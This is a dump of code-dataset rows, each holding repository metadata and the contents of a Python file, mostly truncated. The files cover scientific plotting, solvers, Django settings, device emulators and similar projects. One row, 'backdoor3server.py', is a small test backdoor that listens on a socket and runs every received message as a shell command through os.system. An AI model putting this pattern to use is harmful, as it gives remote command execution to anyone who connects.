| 34 | 60 | 0.882353 |
ac0e0ba99422389022b8aba21116c3d0a3cb0e6a | 2,948 | py | Python | examples/cfd/tools.py | BrunoMot/devito | b6e077857765b7b5fad812ec5774635ca4c6fbb7 | [
"MIT"
] | 204 | 2020-01-09T11:27:58.000Z | 2022-03-20T22:53:37.000Z | examples/cfd/tools.py | BrunoMot/devito | b6e077857765b7b5fad812ec5774635ca4c6fbb7 | [
"MIT"
] | 949 | 2016-04-25T11:41:34.000Z | 2019-12-27T10:43:40.000Z | examples/cfd/tools.py | BrunoMot/devito | b6e077857765b7b5fad812ec5774635ca4c6fbb7 | [
"MIT"
] | 131 | 2020-01-08T17:43:13.000Z | 2022-03-27T11:36:47.000Z | from mpl_toolkits.mplot3d import Axes3D # noqa
import numpy as np
from matplotlib import pyplot, cm
from devito.logger import warning
def plot_field(field, xmin=0., xmax=2., ymin=0., ymax=2., zmin=None, zmax=None,
view=None, linewidth=0):
"""
Utility plotting routine for 2D data.
Paramet... | 29.48 | 82 | 0.589891 |
ac0e0e099e9aea6ce25f3db25b54e00c7fc99ee6 | 40,982 | py | Python | plnn/proxlp_solver/solver.py | alessandrodepalma/oval-bab | 014b6ee5071508430c8e515bbae725306db68fe1 | [
"MIT"
] | 6 | 2021-06-28T18:06:53.000Z | 2022-03-09T09:00:50.000Z | plnn/proxlp_solver/solver.py | alessandrodepalma/oval-bab | 014b6ee5071508430c8e515bbae725306db68fe1 | [
"MIT"
] | null | null | null | plnn/proxlp_solver/solver.py | alessandrodepalma/oval-bab | 014b6ee5071508430c8e515bbae725306db68fe1 | [
"MIT"
] | 2 | 2021-06-28T18:06:13.000Z | 2021-09-03T11:24:26.000Z | import math
import time
import torch
from plnn.dual_bounding import DualBounding
from plnn.proxlp_solver.utils import prod, OptimizationTrace, ProxOptimizationTrace, bdot, apply_transforms
from plnn.proxlp_solver.by_pairs import ByPairsDecomposition, DualVarSet
from plnn.branch_and_bound.utils import ParentInit
clas... | 49.735437 | 137 | 0.560758 |
ac0e22c65b5854a893b3fe29fad066ce14f19cc2 | 335 | py | Python | PYTHON/audiobook.py | Danish-Belal/CodeCollection | cd3914d3d73542dd5f20755c4b1e42906f443b03 | [
"MIT"
] | 125 | 2021-10-01T19:05:26.000Z | 2021-10-03T13:32:42.000Z | PYTHON/audiobook.py | Danish-Belal/CodeCollection | cd3914d3d73542dd5f20755c4b1e42906f443b03 | [
"MIT"
] | 201 | 2021-10-30T20:40:01.000Z | 2022-03-22T17:26:28.000Z | PYTHON/audiobook.py | Danish-Belal/CodeCollection | cd3914d3d73542dd5f20755c4b1e42906f443b03 | [
"MIT"
] | 294 | 2021-10-01T18:46:05.000Z | 2021-10-03T14:25:07.000Z | import pyttsx3
import PyPDF2
pdfReader = PyPDF2.PdfFileReader(open('audiobook.pdf', 'rb'))
speaker = pyttsx3.init()
for i in range(pdfReader.numPages):
pageObj = pdfReader.getPage(i).extractText()
speaker.say(pageObj)
speaker.runAndWait()
speaker.stop()
speaker.save_to_file(pageObj, 'audiobook.mp3')
speake... | 25.769231 | 61 | 0.752239 |
ac0e310da792d668255a6aeded32e51de7988054 | 1,799 | py | Python | python/odml/test_scripts/dict_errs.py | mpsonntag/snippets | fc3cc42ea49b885c1f29c0aef1379055a931a978 | [
"BSD-3-Clause"
] | null | null | null | python/odml/test_scripts/dict_errs.py | mpsonntag/snippets | fc3cc42ea49b885c1f29c0aef1379055a931a978 | [
"BSD-3-Clause"
] | null | null | null | python/odml/test_scripts/dict_errs.py | mpsonntag/snippets | fc3cc42ea49b885c1f29c0aef1379055a931a978 | [
"BSD-3-Clause"
] | null | null | null | import os
import tempfile
import odml
def fill_up_drive(file_content):
temp_dir = tempfile.gettempdir()
tmp_dir_path = os.path.join(temp_dir, "odml_test")
if not os.path.exists(tmp_dir_path):
os.mkdir(tmp_dir_path)
f_name = "test.yaml"
file_path = os.path.join(tmp_dir_path, f_name)
... | 21.674699 | 62 | 0.685381 |
ac0e36a5478d07267fa1deab42c8c75e1683078c | 5,481 | py | Python | antarest/study/storage/rawstudy/watcher.py | AntaresSimulatorTeam/antaREST | d686d2a86a52737c211ae67f3cee591f559909f2 | [
"Apache-2.0"
] | 2 | 2021-11-15T09:26:33.000Z | 2022-02-24T09:53:54.000Z | antarest/study/storage/rawstudy/watcher.py | AntaresSimulatorTeam/antaREST | d686d2a86a52737c211ae67f3cee591f559909f2 | [
"Apache-2.0"
] | 542 | 2021-01-11T13:23:47.000Z | 2022-03-31T15:38:10.000Z | antarest/study/storage/rawstudy/watcher.py | AntaresSimulatorTeam/antaREST | d686d2a86a52737c211ae67f3cee591f559909f2 | [
"Apache-2.0"
] | 1 | 2020-10-01T12:18:15.000Z | 2020-10-01T12:18:15.000Z | import logging
import re
import threading
from html import escape
from pathlib import Path
from time import time, sleep
from typing import List
from filelock import FileLock # type: ignore
from antarest.core.config import Config
from antarest.core.utils.fastapi_sqlalchemy import db
from antarest.login.model import G... | 33.833333 | 122 | 0.44189 |
ac0e47a3b24dcf4fc519c7120757fb1b4da29079 | 1,132 | py | Python | arraycontext/impl/__init__.py | thomasgibson/arraycontext | 93140738460531f4fe6391bdfe745912b7f9676d | [
"MIT"
] | 1 | 2021-07-28T20:50:33.000Z | 2021-07-28T20:50:33.000Z | arraycontext/impl/__init__.py | thomasgibson/arraycontext | 93140738460531f4fe6391bdfe745912b7f9676d | [
"MIT"
] | 96 | 2021-05-05T22:11:41.000Z | 2022-03-17T03:03:25.000Z | arraycontext/impl/__init__.py | thomasgibson/arraycontext | 93140738460531f4fe6391bdfe745912b7f9676d | [
"MIT"
] | 7 | 2021-05-20T21:00:18.000Z | 2021-08-24T22:51:45.000Z | __copyright__ = """
Copyright (C) 2020-1 University of Illinois Board of Trustees
"""
__license__ = """
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limit... | 47.166667 | 77 | 0.795053 |
ac0e6bf7c5dd3993e16cc4d3760a4c464086f944 | 89,615 | py | Python | Lib/site-packages/wx-3.0-msw/wx/tools/Editra/src/prefdlg.py | jickieduan/python27 | c752b552396bbed68d8555080d475718cea2edd0 | [
"bzip2-1.0.6"
] | 5 | 2019-03-11T14:30:31.000Z | 2021-12-04T14:11:54.000Z | Lib/site-packages/wx-3.0-msw/wx/tools/Editra/src/prefdlg.py | jickieduan/python27 | c752b552396bbed68d8555080d475718cea2edd0 | [
"bzip2-1.0.6"
] | 1 | 2018-07-28T20:07:04.000Z | 2018-07-30T18:28:34.000Z | Lib/site-packages/wx-3.0-msw/wx/tools/Editra/src/prefdlg.py | jickieduan/python27 | c752b552396bbed68d8555080d475718cea2edd0 | [
"bzip2-1.0.6"
] | 2 | 2019-12-02T01:39:10.000Z | 2021-02-13T22:41:00.000Z | ###############################################################################
# Name: prefdlg.py #
# Purpose: UI for configuring User Profile #
# Author: Cody Precord <cprecord@editra.org> #
... | 40.494803 | 90 | 0.544206 |
ac0e85d31b3e8ebcd446628a635c7cf77dba2d23 | 7,114 | py | Python | src/app/settings.py | vlad-pro/education-backend | f766decc68e820296b6ea347021cf16e76322f32 | [
"MIT"
] | null | null | null | src/app/settings.py | vlad-pro/education-backend | f766decc68e820296b6ea347021cf16e76322f32 | [
"MIT"
] | 1 | 2022-02-10T12:08:02.000Z | 2022-02-10T12:08:02.000Z | src/app/settings.py | vlad-pro/education-backend | f766decc68e820296b6ea347021cf16e76322f32 | [
"MIT"
] | null | null | null | import os
import environ
from celery.schedules import crontab
root = environ.Path(__file__) - 2 # three folder back (/a/b/c/ - 3 = /)
env = environ.Env(DEBUG=(bool, False)) # set default values and casting
environ.Env.read_env() # reading .env file
SITE_ROOT = root()
USE_L10N = True
USE_i18... | 29.27572 | 140 | 0.706213 |
ac0e96c33e43d419e16eb52849d70e0c552bcffe | 962 | py | Python | lewis_emulators/gamry/interfaces/stream_interface.py | ISISComputingGroup/EPICS-DeviceEmulator | 026c2a14a16bb204ea7527e3765daa182cafa814 | [
"BSD-3-Clause"
] | 2 | 2020-10-20T16:49:13.000Z | 2021-02-19T10:41:44.000Z | lewis_emulators/gamry/interfaces/stream_interface.py | ISISComputingGroup/EPICS-DeviceEmulator | 026c2a14a16bb204ea7527e3765daa182cafa814 | [
"BSD-3-Clause"
] | 9 | 2019-03-22T15:35:15.000Z | 2021-07-28T11:05:43.000Z | lewis_emulators/gamry/interfaces/stream_interface.py | ISISComputingGroup/EPICS-DeviceEmulator | 026c2a14a16bb204ea7527e3765daa182cafa814 | [
"BSD-3-Clause"
] | 1 | 2020-10-21T17:02:44.000Z | 2020-10-21T17:02:44.000Z | from lewis.adapters.stream import StreamInterface, Cmd
from threading import Timer
from lewis.core.logging import has_log
START_COMM = "START01"
BEAMON_COMM = "BEAMON"
BEAMOFF_COMM = "BEAMOFF"
@has_log
class GamryStreamInterface(StreamInterface):
commands = {
Cmd("start_charging", "^" + START_COMM + "$"... | 24.05 | 91 | 0.623701 |
ac0ea0e77d92c712c9343cb0ddae282e06dd81d7 | 2,101 | py | Python | examples/cartpole_py/test_simulation.py | matthieuvigne/jiminy | f893b2254a9e695a4154b941b599536756ea3d8b | [
"MIT"
] | null | null | null | examples/cartpole_py/test_simulation.py | matthieuvigne/jiminy | f893b2254a9e695a4154b941b599536756ea3d8b | [
"MIT"
] | null | null | null | examples/cartpole_py/test_simulation.py | matthieuvigne/jiminy | f893b2254a9e695a4154b941b599536756ea3d8b | [
"MIT"
] | null | null | null | import os
import time
import numpy as np
from jiminy_py import core as jiminy
from jiminy_py.engine_asynchronous import EngineAsynchronous
os.environ["JIMINY_MESH_PATH"] = os.path.join(os.environ["HOME"], "wdc_workspace/src/jiminy/data")
urdf_path = os.path.join(os.environ["JIMINY_MESH_PATH"], "cartpole/cartpole.urd... | 34.442623 | 98 | 0.778677 |
ac0ebd59356a0248b200d605ba887e075899b040 | 472 | py | Python | backdoors_de_prueba/backdoor3server.py | binarioGH/minihacktools | 664e72ccc54089baa3b4d2ddc28bdcddbfdd1833 | [
"MIT"
] | null | null | null | backdoors_de_prueba/backdoor3server.py | binarioGH/minihacktools | 664e72ccc54089baa3b4d2ddc28bdcddbfdd1833 | [
"MIT"
] | null | null | null | backdoors_de_prueba/backdoor3server.py | binarioGH/minihacktools | 664e72ccc54089baa3b4d2ddc28bdcddbfdd1833 | [
"MIT"
] | null | null | null | #!/usr/bin/python
#-*-coding:utf-8-*-
from socket import *
from os import system, getcwd
if __name__ == '__main__':
sock = socket(AF_INET, SOCK_STREAM)
sock.bind(("127.0.0.1",5000))
sock.listen(1)
conn, addr = sock.accept()
while True:
msg = conn.recv(1024).decode()
try:
system(msg)
except:
conn.send(... | 24.842105 | 82 | 0.661017 |
ac0edb9a7be2ada3800bc87e0755c2c0e3418df8 | 206 | py | Python | src/helpers/debug.py | alexr17/nlp-golden-globes | c0929b62e351a69c3a0319c00558b9c06fbcdb6a | [
"MIT"
] | 1 | 2019-02-13T05:52:06.000Z | 2019-02-13T05:52:06.000Z | src/helpers/debug.py | alexr17/nlp-golden-globes | c0929b62e351a69c3a0319c00558b9c06fbcdb6a | [
"MIT"
] | null | null | null | src/helpers/debug.py | alexr17/nlp-golden-globes | c0929b62e351a69c3a0319c00558b9c06fbcdb6a | [
"MIT"
] | 1 | 2020-02-11T05:30:14.000Z | 2020-02-11T05:30:14.000Z | # debug output
def top_keys(lst, min):
for item in lst:
if item[1] > min:
print(item)
def find_key(lst, key):
for item in lst:
if key in item[0]:
print(item) | 20.6 | 26 | 0.529126 |
ac0f044692a1f494744e3302a3606134e7243fd2 | 744 | py | Python | testes/python/old/w1thermsensor-alt.py | nidiascampos/smartgreen | d574d90918702ac3bd383ed77d673f871576c5b0 | [
"Apache-2.0"
] | 1 | 2021-02-13T07:42:04.000Z | 2021-02-13T07:42:04.000Z | testes/python/old/w1thermsensor-alt.py | nidiascampos/smartgreen | d574d90918702ac3bd383ed77d673f871576c5b0 | [
"Apache-2.0"
] | null | null | null | testes/python/old/w1thermsensor-alt.py | nidiascampos/smartgreen | d574d90918702ac3bd383ed77d673f871576c5b0 | [
"Apache-2.0"
] | null | null | null | import os
import glob
import time
#os.system('modprobe w1-gpio')
#os.system('modprobe w1-therm')
base_dir = '/sys/bus/w1/devices/'
device_folder = glob.glob(base_dir + '28*')[0]
device_file = device_folder + '/w1_slave'
def read_temp_raw():
f = open(device_file, 'r')
lines = f.readlines()
f.close()
retu... | 27.555556 | 46 | 0.622312 |
ac0f2c165063ab71450309c4ea2482be0aab88bf | 6,757 | py | Python | renn/utils.py | m4ta1l/reverse-engineering-neural-networks | a2bcf18cb12f6026eb1f07be93a5b4a3dca1c042 | [
"Apache-2.0"
] | 2 | 2020-08-29T17:43:26.000Z | 2020-09-29T14:34:28.000Z | renn/utils.py | m4ta1l/reverse-engineering-neural-networks | a2bcf18cb12f6026eb1f07be93a5b4a3dca1c042 | [
"Apache-2.0"
] | 6 | 2020-08-29T17:43:39.000Z | 2020-10-28T11:05:28.000Z | renn/utils.py | Smirenost/reverse-engineering-neural-networks | a2bcf18cb12f6026eb1f07be93a5b4a3dca1c042 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 29.89823 | 89 | 0.721474 |
ac0f3ec17ceb05de4dcd7bfde016e391f8a0c9ef | 7,142 | py | Python | tests/test_account.py | mtr/vonage-python-sdk | fb39a295b56f177fe73efc7a0fbff6a1a36db16e | [
"Apache-2.0"
] | 25 | 2020-08-29T18:55:33.000Z | 2022-03-30T06:35:30.000Z | tests/test_account.py | mtr/vonage-python-sdk | fb39a295b56f177fe73efc7a0fbff6a1a36db16e | [
"Apache-2.0"
] | 28 | 2020-08-24T09:41:32.000Z | 2022-03-24T06:55:31.000Z | tests/test_account.py | mtr/vonage-python-sdk | fb39a295b56f177fe73efc7a0fbff6a1a36db16e | [
"Apache-2.0"
] | 22 | 2020-10-01T02:03:49.000Z | 2022-03-24T19:27:03.000Z | import platform
from glom import glom
from util import *
import vonage
@responses.activate
def test_get_balance(client, dummy_data):
stub(responses.GET, "https://rest.nexmo.com/account/get-balance")
assert isinstance(client.get_balance(), dict)
assert request_user_agent() == dummy_data.user_agent
@r... | 31.324561 | 237 | 0.712546 |
ac0f44823224877c3f20686a7809e2cbec71eb8a | 10,959 | py | Python | collections/ansible_collections/community/general/plugins/modules/pacman_key.py | escalate/my-smart-home | a9579c845761b980515ff34d2a95568c6e7c2b6c | [
"MIT"
] | 22 | 2021-07-16T08:11:22.000Z | 2022-03-31T07:15:34.000Z | collections/ansible_collections/community/general/plugins/modules/pacman_key.py | escalate/ansible-gitops-example-repository | f7f7a9fcd09abd982f5fcd3bd196809a6c4c2f08 | [
"MIT"
] | 1 | 2022-03-12T02:25:26.000Z | 2022-03-12T02:25:26.000Z | collections/ansible_collections/community/general/plugins/modules/pacman_key.py | escalate/ansible-gitops-example-repository | f7f7a9fcd09abd982f5fcd3bd196809a6c4c2f08 | [
"MIT"
] | 39 | 2021-07-05T02:31:42.000Z | 2022-03-31T02:46:03.000Z | #!/usr/bin/python
# -*- coding: utf-8 -*-
# Copyright: (c) 2019, George Rawlinson <george@rawlinson.net.nz>
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import (absolute_import, division, print_function)
__metaclass__ = type
DOCUMENTATION = '''
---
modu... | 34.790476 | 110 | 0.595857 |
ac0f4c6c2486006111fe54211a1a0be481b52308 | 7,706 | py | Python | esst/discord_bot/discord_bot.py | etcher-be/esst | ac41cd0c07af8ca8532997f533756c529c9609a4 | [
"MIT"
] | 4 | 2018-06-24T14:03:44.000Z | 2019-01-21T01:20:02.000Z | esst/discord_bot/discord_bot.py | etcher-be/esst | ac41cd0c07af8ca8532997f533756c529c9609a4 | [
"MIT"
] | 106 | 2018-06-24T13:59:52.000Z | 2019-11-26T09:05:14.000Z | esst/discord_bot/discord_bot.py | theendsofinvention/esst | ac41cd0c07af8ca8532997f533756c529c9609a4 | [
"MIT"
] | null | null | null | # coding=utf-8
"""
Runs a Discord bot using the discord.py library
"""
import asyncio
import os
import random
import aiohttp
import aiohttp.errors
import discord
import websockets.exceptions
from esst import DiscordBotConfig, LOGGER, __version__
from esst.core import CTX
from .abstract import AbstractDiscordBot, Abs... | 31.581967 | 113 | 0.590709 |
ac0f67d722ec578b4cd3532354c7df4b974b845f | 330 | py | Python | src/Python3/Q109124/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | src/Python3/Q109124/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | src/Python3/Q109124/exsample.py | umyuu/Sample | 66e8cd725b682db4c9bf93fb80786eea8cbad19d | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
import requests
def main():
url = "https://www.suruga-ya.jp/product/detail/WO10669"
res = requests.get(url)
print(res.text)
print(res.encoding)
with open("text.htm", "w", encoding=res.encoding) as f:
f.write(res.text)
f.close()
if __name__ == '__main__':
... | 19.411765 | 59 | 0.593939 |
ac0f6b5ab14c58a5123a6fe8b62ab5d5a9984f1c | 240 | py | Python | fapws2/utils.py | william-os4y/fapws2 | 5752af742b763517ce0a52d0f0c00b40b186edf8 | [
"MIT"
] | 2 | 2016-05-08T16:02:32.000Z | 2018-02-17T15:03:09.000Z | fapws2/utils.py | william-os4y/fapws2 | 5752af742b763517ce0a52d0f0c00b40b186edf8 | [
"MIT"
] | null | null | null | fapws2/utils.py | william-os4y/fapws2 | 5752af742b763517ce0a52d0f0c00b40b186edf8 | [
"MIT"
] | null | null | null | def fsplit(data,sep, length=2, filler=None):
"like split, but always return the same length. usefull to avoid assignments error"
res = data.split(sep,length-1)
ext = [filler]*(length-len(res))
res.extend(ext)
return res
| 34.285714 | 87 | 0.683333 |
ac0f746665949cb26df29eb23771e487538b447a | 2,889 | py | Python | alipay/aop/api/domain/AlipayEcoPrinterStatusNotifyModel.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | 213 | 2018-08-27T16:49:32.000Z | 2021-12-29T04:34:12.000Z | alipay/aop/api/domain/AlipayEcoPrinterStatusNotifyModel.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | 29 | 2018-09-29T06:43:00.000Z | 2021-09-02T03:27:32.000Z | alipay/aop/api/domain/AlipayEcoPrinterStatusNotifyModel.py | antopen/alipay-sdk-python-all | 8e51c54409b9452f8d46c7bb10eea7c8f7e8d30c | [
"Apache-2.0"
] | 59 | 2018-08-27T16:59:26.000Z | 2022-03-25T10:08:15.000Z | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.constant.ParamConstants import *
class AlipayEcoPrinterStatusNotifyModel(object):
def __init__(self):
self._eprint_sign = None
self._machine_code = None
self._oauth_type = None
self._online = None
... | 28.60396 | 75 | 0.586708 |
ac0f8eefca5777cffab11366c1794410100f6ecf | 1,556 | py | Python | eventcapture/__init__.py | stuarteberg/eventcapture | 713a6e8aa111d8a5ab9f2c31e52c53aea4f14f9a | [
"BSD-3-Clause"
] | 2 | 2017-12-03T19:19:29.000Z | 2018-09-20T03:39:23.000Z | eventcapture/__init__.py | stuarteberg/eventcapture | 713a6e8aa111d8a5ab9f2c31e52c53aea4f14f9a | [
"BSD-3-Clause"
] | 1 | 2016-05-27T13:45:45.000Z | 2016-05-29T10:10:04.000Z | eventcapture/__init__.py | stuarteberg/eventcapture | 713a6e8aa111d8a5ab9f2c31e52c53aea4f14f9a | [
"BSD-3-Clause"
] | null | null | null | # Copyright (c) 2016, HHMI
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification,
# are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this
# list of conditions and the fo... | 53.655172 | 84 | 0.774422 |
ac0f8f5a8889276920f8f50e10cec084754bc321 | 169 | py | Python | Parser-hybrid/nparser/neural/models/nlp/parsers/__init__.py | sb-b/BOUN-PARSE | 2b529924897d8e2613c4d2193a67796a895da40b | [
"Apache-2.0"
] | 12 | 2020-03-04T17:36:12.000Z | 2021-09-26T14:02:49.000Z | Parser-hybrid/nparser/neural/models/nlp/parsers/__init__.py | sb-b/BOUN-PARSE | 2b529924897d8e2613c4d2193a67796a895da40b | [
"Apache-2.0"
] | 1 | 2020-12-09T08:21:11.000Z | 2020-12-09T08:21:11.000Z | Parser-hybrid/nparser/neural/models/nlp/parsers/__init__.py | sb-b/BOUN-PARSE | 2b529924897d8e2613c4d2193a67796a895da40b | [
"Apache-2.0"
] | 3 | 2020-11-18T09:53:42.000Z | 2020-12-17T23:04:59.000Z | from .parser import Parser
from .fish_parser import FishParser
from .gama_parser import GamaParser
from .xbar_parser import XbarParser
from .bin_parser import BinParser
| 28.166667 | 35 | 0.852071 |
ac0fcb5c32cc542678bb1f9153b5a8b993cb4f8a | 6,298 | py | Python | tests/test_date_time_handler.py | jmsimons/date-time-handler | 695f93a07549ccc50a5b20575f65fadf0e7495c5 | [
"Apache-2.0"
] | null | null | null | tests/test_date_time_handler.py | jmsimons/date-time-handler | 695f93a07549ccc50a5b20575f65fadf0e7495c5 | [
"Apache-2.0"
] | null | null | null | tests/test_date_time_handler.py | jmsimons/date-time-handler | 695f93a07549ccc50a5b20575f65fadf0e7495c5 | [
"Apache-2.0"
] | null | null | null | import unittest, datetime, time
from pytz import timezone
from date_time_handler.main import load_tz, DateTimeHandler
class TestDateTimeHandler(unittest.TestCase):
''' tests that each callable method returns the correct type and value under every programmed case '''
@classmethod
def setUpClass(self):
... | 61.745098 | 122 | 0.698952 |
ac0fcf6207718511c0dddcc352191ba4af204483 | 417 | py | Python | users/migrations/0003_auto_20201107_2017.py | andywar65/projetc_repo | a318b36d601a15a1d5e4a9bbc65d7bcbb5ac02ef | [
"BSD-2-Clause"
] | null | null | null | users/migrations/0003_auto_20201107_2017.py | andywar65/projetc_repo | a318b36d601a15a1d5e4a9bbc65d7bcbb5ac02ef | [
"BSD-2-Clause"
] | 2 | 2021-03-19T17:12:07.000Z | 2021-03-19T17:12:08.000Z | users/migrations/0003_auto_20201107_2017.py | andywar65/projetc_repo | a318b36d601a15a1d5e4a9bbc65d7bcbb5ac02ef | [
"BSD-2-Clause"
] | null | null | null | # Generated by Django 3.1.2 on 2020-11-07 19:17
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('users', '0002_auto_20201107_2007'),
]
operations = [
migrations.AlterField(
model_name='usermessage',
name='privacy'... | 21.947368 | 77 | 0.616307 |
ac0fd11e3d05774df41198ef0cf9c39122c0cb87 | 17,358 | py | Python | tempest/api/network/test_networks.py | vmahuli/tempest | f70319f5eda72b8c8a913ae1002ec531324e4116 | [
"Apache-2.0"
] | null | null | null | tempest/api/network/test_networks.py | vmahuli/tempest | f70319f5eda72b8c8a913ae1002ec531324e4116 | [
"Apache-2.0"
] | null | null | null | tempest/api/network/test_networks.py | vmahuli/tempest | f70319f5eda72b8c8a913ae1002ec531324e4116 | [
"Apache-2.0"
] | null | null | null | # Copyright 2012 OpenStack Foundation
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless requ... | 39.539863 | 79 | 0.635442 |
ac0fe0d13da8067ba85aa78d5b060339ed430e52 | 527 | py | Python | galah/db/models/invitations.py | brownhead/galah | f4475c49c920fcebbcb96636385f23863dc1e4c2 | [
"MIT"
] | 1 | 2021-01-03T00:23:56.000Z | 2021-01-03T00:23:56.000Z | galah/db/models/invitations.py | itsjohncs/galah | f4475c49c920fcebbcb96636385f23863dc1e4c2 | [
"MIT"
] | null | null | null | galah/db/models/invitations.py | itsjohncs/galah | f4475c49c920fcebbcb96636385f23863dc1e4c2 | [
"MIT"
] | 1 | 2016-12-21T19:54:41.000Z | 2016-12-21T19:54:41.000Z | from datetime import datetime
from mongoengine import *
class Invitation(Document):
email = EmailField(required = True)
class_ = ObjectIdField(required = True)
expires = DateTimeField(required = True)
accountType = StringField(required = True)
meta = {
"allow_inheritance": False
}... | 26.35 | 53 | 0.643264 |
ac0fe10f70aa62803f0fba339389f90ef115264d | 8,024 | py | Python | cheesecake/codeparser.py | griggheo/cheesecake | 2b7aa5c980e8becb163cbcb801b202b17f715054 | [
"CNRI-Python-GPL-Compatible"
] | 12 | 2015-01-15T01:13:42.000Z | 2022-03-04T21:14:27.000Z | cheesecake/codeparser.py | griggheo/cheesecake | 2b7aa5c980e8becb163cbcb801b202b17f715054 | [
"CNRI-Python-GPL-Compatible"
] | 6 | 2015-01-19T19:46:51.000Z | 2019-02-05T20:20:26.000Z | cheesecake/codeparser.py | griggheo/cheesecake | 2b7aa5c980e8becb163cbcb801b202b17f715054 | [
"CNRI-Python-GPL-Compatible"
] | 3 | 2015-10-24T20:08:09.000Z | 2019-02-04T20:53:21.000Z | import doctest
import os
import re
import logger
from model import System, Module, Class, Function, parseFile, processModuleAst
# Python 2.3/sel.4 compatibilty hacks.
if getattr(doctest, 'DocTestParser', False):
# Python 2.4 have DocTestParser class.
get_doctests = doctest.DocTestParser().get_examples
else:
... | 34.886957 | 90 | 0.558948 |
ac100bb654b58a260d2c260e43e2fa9df7bd89e0 | 3,504 | py | Python | github/types/response.py | appheap/PyGithub | 2442a2512a708c6463f81d8398fd91090e134df1 | [
"MIT"
] | 1 | 2022-03-16T21:33:37.000Z | 2022-03-16T21:33:37.000Z | github/types/response.py | appheap/PyGithub | 2442a2512a708c6463f81d8398fd91090e134df1 | [
"MIT"
] | null | null | null | github/types/response.py | appheap/PyGithub | 2442a2512a708c6463f81d8398fd91090e134df1 | [
"MIT"
] | 1 | 2022-03-16T21:28:06.000Z | 2022-03-16T21:28:06.000Z | from dataclasses import dataclass
from typing import Optional, List, Union, Container
import requests
from .github_error import GithubError
from .object import Object
STATUS_CODES_MAPPING = {
-1: 'Unknown Error',
200: 'OK',
204: 'No Content',
301: 'Moved permanently',
304: 'Not modified',
401... | 31.285714 | 117 | 0.535388 |
ac10104b70d403de6aedc584fb17c5384a86a7a6 | 5,415 | py | Python | test/torch/tensors/test_gc.py | Ankit-Dhankhar/PySyft | 750bd2c3987a570ef1dc8554b933696d416724c7 | [
"Apache-2.0"
] | 1 | 2019-07-09T09:57:23.000Z | 2019-07-09T09:57:23.000Z | test/torch/tensors/test_gc.py | souravs17031999/PySyft | cd0a134288ab041884537b04eb65358c4d53a471 | [
"Apache-2.0"
] | null | null | null | test/torch/tensors/test_gc.py | souravs17031999/PySyft | cd0a134288ab041884537b04eb65358c4d53a471 | [
"Apache-2.0"
] | 1 | 2021-04-18T15:27:15.000Z | 2021-04-18T15:27:15.000Z | """All the tests relative to garbage collection of all kinds of remote or local tensors"""
import time
import torch
from syft.frameworks.torch.tensors.decorators import LoggingTensor
from syft.workers import WebsocketServerWorker
from syft.workers import WebsocketClientWorker
# TESTING POINTERS
def test_explicit_g... | 26.033654 | 90 | 0.688827 |
ac102dca8754d56c735b57c2e2dcc1fac2014df1 | 79,091 | py | Python | jax/interpreters/pxla.py | SCiarella/jax | a7c9b6d11fa833c748d72b3ccc11baeed9c0248c | [
"Apache-2.0"
] | null | null | null | jax/interpreters/pxla.py | SCiarella/jax | a7c9b6d11fa833c748d72b3ccc11baeed9c0248c | [
"Apache-2.0"
] | null | null | null | jax/interpreters/pxla.py | SCiarella/jax | a7c9b6d11fa833c748d72b3ccc11baeed9c0248c | [
"Apache-2.0"
] | null | null | null | # Copyright 2018 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | 42.317282 | 120 | 0.706515 |
ac102efc15a98e8f7fa8849b75357f9e2f9f3cea | 2,984 | py | Python | setup.py | vanvalenlab/kiosk-client | f1b414932367eb583decbef0d4ca33689ea6fb96 | [
"Apache-2.0"
] | null | null | null | setup.py | vanvalenlab/kiosk-client | f1b414932367eb583decbef0d4ca33689ea6fb96 | [
"Apache-2.0"
] | 11 | 2020-05-29T23:41:16.000Z | 2021-06-01T23:12:03.000Z | setup.py | vanvalenlab/kiosk-client | f1b414932367eb583decbef0d4ca33689ea6fb96 | [
"Apache-2.0"
] | null | null | null | # Copyright 2016-2021 The Van Valen Lab at the California Institute of
# Technology (Caltech), with support from the Paul Allen Family Foundation,
# Google, & National Institutes of Health (NIH) under Grant U24CA224309-01.
# All rights reserved.
#
# Licensed under a modified Apache License, Version 2.0 (the "License");... | 37.772152 | 83 | 0.621984 |
ac10391ae3a6a9ad518e882ebdfd35bd702543ae | 8,174 | py | Python | blogger_cli/converter/ipynb_to_html.py | Himanshu-singhal-creator/blogger-cli | ed56d1c8ce54662b244523c4c0d0aa0daac23173 | [
"MIT"
] | 427 | 2019-07-24T15:04:40.000Z | 2022-01-28T03:28:01.000Z | blogger_cli/converter/ipynb_to_html.py | Himanshu-singhal-creator/blogger-cli | ed56d1c8ce54662b244523c4c0d0aa0daac23173 | [
"MIT"
] | 32 | 2019-06-04T05:39:07.000Z | 2022-01-06T15:45:59.000Z | blogger_cli/converter/ipynb_to_html.py | Himanshu-singhal-creator/blogger-cli | ed56d1c8ce54662b244523c4c0d0aa0daac23173 | [
"MIT"
